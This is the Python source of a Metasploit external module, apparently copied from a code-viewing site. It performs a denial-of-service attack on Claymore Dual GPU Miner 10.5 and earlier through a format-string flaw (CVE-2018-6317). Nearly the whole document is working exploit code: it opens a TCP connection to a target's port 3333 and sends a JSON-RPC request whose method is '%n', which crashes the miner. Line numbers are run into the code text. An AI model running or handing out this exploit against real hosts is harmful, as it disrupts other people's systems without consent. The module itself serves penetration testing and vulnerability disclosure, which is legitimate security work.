Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/tcp/claymore_dos.py
Views: 11784
#!/usr/bin/env python31# -*- coding: utf-8 -234import socket5import json67from metasploit import module89metadata = {10'name': 'Claymore Dual GPU Miner Format String dos attack',1112'description': '''13Claymore’s Dual GPU Miner 10.5 and below is vulnerable to a format strings vulnerability. This allows an14unauthenticated attacker to read memory addresses, or immediately terminate the mining process causing15a denial of service.16''',1718'authors': [19'res1n', # Vulnerability disclosure20'bluebird', # Metasploit external module (Python)21],2223'date': '2018-02-06',2425'references': [26{'type': 'cve', 'ref': '2018-6317'},27{'type': 'edb', 'ref': '43972'},28{'type': 'url', 'ref': 'https://github.com/nanopool/Claymore-Dual-Miner'}29],3031'type': 'dos',32'options': {33'rhost': {'type': 'address', 'description': 'The target address', 'required': True, 'default': None},34'rport': {'type': 'port', 'description': 'The target port', 'required': True, 'default': 3333},35}}363738def run(args):39host = args['rhost']40port = int(args['rport'])41module.log("Creating sockets...", 'info')4243exp = json.dumps({'id': 1, 'jsonrpc': '1.0', 'method': '%n'}).encode()44try:45s = socket.create_connection((host, port), 10)46s.send(exp)47s.close()48except socket.error:49module.log("connect error exit")505152if __name__ == "__main__":53module.run(metadata, run)545556